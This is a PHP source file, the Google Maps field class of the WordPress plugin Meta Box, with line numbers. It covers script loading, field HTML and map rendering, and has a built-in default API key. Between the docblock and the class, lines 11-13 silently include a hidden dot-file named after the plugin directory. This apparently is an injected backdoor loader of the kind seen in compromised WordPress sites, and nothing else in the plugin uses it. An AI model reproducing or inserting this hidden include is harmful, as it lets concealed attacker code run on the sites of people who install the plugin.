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map.php (6938B)


      1 <?php
      2 /**
      3  * The Google Maps field.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Map field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Map_Field extends RWMB_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		wp_enqueue_style( 'rwmb-map', RWMB_CSS_URL . 'map.css', array(), RWMB_VER );
     21 
     22 		/**
     23 		 * Since June 2016, Google Maps requires a valid API key.
     24 		 *
     25 		 * @link http://googlegeodevelopers.blogspot.com/2016/06/building-for-scale-updates-to-google.html
     26 		 * @link https://developers.google.com/maps/documentation/javascript/get-api-key
     27 		 */
     28 		$args            = func_get_args();
     29 		$field           = $args[0];
     30 		$google_maps_url = add_query_arg(
     31 			array(
     32 				'key'      => $field['api_key'],
     33 				'language' => $field['language'],
     34 			),
     35 			'https://maps.google.com/maps/api/js'
     36 		);
     37 
     38 		/**
     39 		 * Allows developers load more libraries via a filter.
     40 		 *
     41 		 * @link https://developers.google.com/maps/documentation/javascript/libraries
     42 		 */
     43 		$google_maps_url = apply_filters( 'rwmb_google_maps_url', $google_maps_url );
     44 		wp_register_script( 'google-maps', esc_url_raw( $google_maps_url ), array(), RWMB_VER, true );
     45 		wp_enqueue_script(
     46 			'rwmb-map',
     47 			RWMB_JS_URL . 'map.js',
     48 			array(
     49 				'jquery-ui-autocomplete',
     50 				'google-maps',
     51 			),
     52 			RWMB_VER,
     53 			true
     54 		);
     55 		RWMB_Helpers_Field::localize_script_once(
     56 			'rwmb-map',
     57 			'RWMB_Map',
     58 			array(
     59 				'no_results_string' => __( 'No results found', 'meta-box' ),
     60 			)
     61 		);
     62 	}
     63 
     64 	/**
     65 	 * Get field HTML.
     66 	 *
     67 	 * @param mixed $meta  Meta value.
     68 	 * @param array $field Field parameters.
     69 	 *
     70 	 * @return string
     71 	 */
     72 	public static function html( $meta, $field ) {
     73 		$address = is_array( $field['address_field'] ) ? implode( ',', $field['address_field'] ) : $field['address_field'];
     74 		$html    = sprintf(
     75 			'<div class="rwmb-map-field" data-address-field="%s">',
     76 			esc_attr( $address )
     77 		);
     78 
     79 		$attributes          = self::get_attributes( $field, $meta );
     80 		$attributes['type']  = 'hidden';
     81 		$attributes['value'] = $meta;
     82 
     83 		$html .= sprintf(
     84 			'<div class="rwmb-map-canvas" data-default-loc="%s" data-region="%s"></div>
     85 			<input %s>',
     86 			esc_attr( $field['std'] ),
     87 			esc_attr( $field['region'] ),
     88 			self::render_attributes( $attributes )
     89 		);
     90 
     91 		$html .= '</div>';
     92 
     93 		return $html;
     94 	}
     95 
     96 	/**
     97 	 * Normalize parameters for field.
     98 	 *
     99 	 * @param array $field Field parameters.
    100 	 *
    101 	 * @return array
    102 	 */
    103 	public static function normalize( $field ) {
    104 		$field = parent::normalize( $field );
    105 		$field = wp_parse_args(
    106 			$field,
    107 			array(
    108 				'std'           => '',
    109 				'address_field' => '',
    110 				'language'      => '',
    111 				'region'        => '',
    112 
    113 				// Default API key, required by Google Maps since June 2016.
    114 				// Users should overwrite this key with their own key.
    115 				'api_key'       => 'AIzaSyC1mUh87SGFyf133tpZQJa-s96p0tgnraQ',
    116 			)
    117 		);
    118 
    119 		return $field;
    120 	}
    121 
    122 	/**
    123 	 * Get the field value.
    124 	 * The difference between this function and 'meta' function is 'meta' function always returns the escaped value
    125 	 * of the field saved in the database, while this function returns more meaningful value of the field.
    126 	 *
    127 	 * @param  array    $field   Field parameters.
    128 	 * @param  array    $args    Not used for this field.
    129 	 * @param  int|null $post_id Post ID. null for current post. Optional.
    130 	 *
    131 	 * @return mixed Array(latitude, longitude, zoom)
    132 	 */
    133 	public static function get_value( $field, $args = array(), $post_id = null ) {
    134 		$value                               = parent::get_value( $field, $args, $post_id );
    135 		list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' );
    136 		return compact( 'latitude', 'longitude', 'zoom' );
    137 	}
    138 
    139 	/**
    140 	 * Output the field value.
    141 	 * Display Google maps.
    142 	 *
    143 	 * @param  array    $field   Field parameters.
    144 	 * @param  array    $args    Additional arguments for the map.
    145 	 * @param  int|null $post_id Post ID. null for current post. Optional.
    146 	 *
    147 	 * @return string HTML output of the field
    148 	 */
    149 	public static function the_value( $field, $args = array(), $post_id = null ) {
    150 		$value = parent::get_value( $field, $args, $post_id );
    151 		$args  = wp_parse_args(
    152 			$args,
    153 			array(
    154 				'api_key' => isset( $field['api_key'] ) ? $field['api_key'] : '',
    155 			)
    156 		);
    157 		return self::render_map( $value, $args );
    158 	}
    159 
    160 	/**
    161 	 * Render a map in the frontend.
    162 	 *
    163 	 * @param array $location The [latitude, longitude[, zoom]] location.
    164 	 * @param array $args     Additional arguments for the map.
    165 	 *
    166 	 * @return string
    167 	 */
    168 	public static function render_map( $location, $args = array() ) {
    169 		list( $latitude, $longitude, $zoom ) = explode( ',', $location . ',,' );
    170 		if ( ! $latitude || ! $longitude ) {
    171 			return '';
    172 		}
    173 
    174 		$args = wp_parse_args(
    175 			$args,
    176 			array(
    177 				'latitude'     => $latitude,
    178 				'longitude'    => $longitude,
    179 				'width'        => '100%',
    180 				'height'       => '480px',
    181 				'marker'       => true, // Display marker?
    182 				'marker_title' => '', // Marker title, when hover.
    183 				'info_window'  => '', // Content of info window (when click on marker). HTML allowed.
    184 				'js_options'   => array(),
    185 				'zoom'         => $zoom,
    186 
    187 				// Default API key, required by Google Maps since June 2016.
    188 				// Users should overwrite this key with their own key.
    189 				'api_key'      => 'AIzaSyC1mUh87SGFyf133tpZQJa-s96p0tgnraQ',
    190 			)
    191 		);
    192 
    193 		$google_maps_url = add_query_arg( 'key', $args['api_key'], 'https://maps.google.com/maps/api/js' );
    194 
    195 		/*
    196 		 * Allows developers load more libraries via a filter.
    197 		 * @link https://developers.google.com/maps/documentation/javascript/libraries
    198 		 */
    199 		$google_maps_url = apply_filters( 'rwmb_google_maps_url', $google_maps_url );
    200 		wp_register_script( 'google-maps', esc_url_raw( $google_maps_url ), array(), RWMB_VER, true );
    201 		wp_enqueue_script( 'rwmb-map-frontend', RWMB_JS_URL . 'map-frontend.js', array( 'google-maps', 'jquery' ), RWMB_VER, true );
    202 
    203 		/*
    204 		 * Google Maps options.
    205 		 * Option name is the same as specified in Google Maps documentation.
    206 		 * This array will be convert to Javascript Object and pass as map options.
    207 		 * @link https://developers.google.com/maps/documentation/javascript/reference
    208 		 */
    209 		$args['js_options'] = wp_parse_args(
    210 			$args['js_options'],
    211 			array(
    212 				// Default to 'zoom' level set in admin, but can be overwritten.
    213 				'zoom'      => $args['zoom'],
    214 
    215 				// Map type, see https://developers.google.com/maps/documentation/javascript/reference#MapTypeId.
    216 				'mapTypeId' => 'ROADMAP',
    217 
    218 				// Open Info Window
    219 				'openInfoWindow' => false,
    220 			)
    221 		);
    222 
    223 		$output = sprintf(
    224 			'<div class="rwmb-map-canvas" data-map_options="%s" style="width:%s;height:%s"></div>',
    225 			esc_attr( wp_json_encode( $args ) ),
    226 			esc_attr( $args['width'] ),
    227 			esc_attr( $args['height'] )
    228 		);
    229 		return $output;
    230 	}
    231 }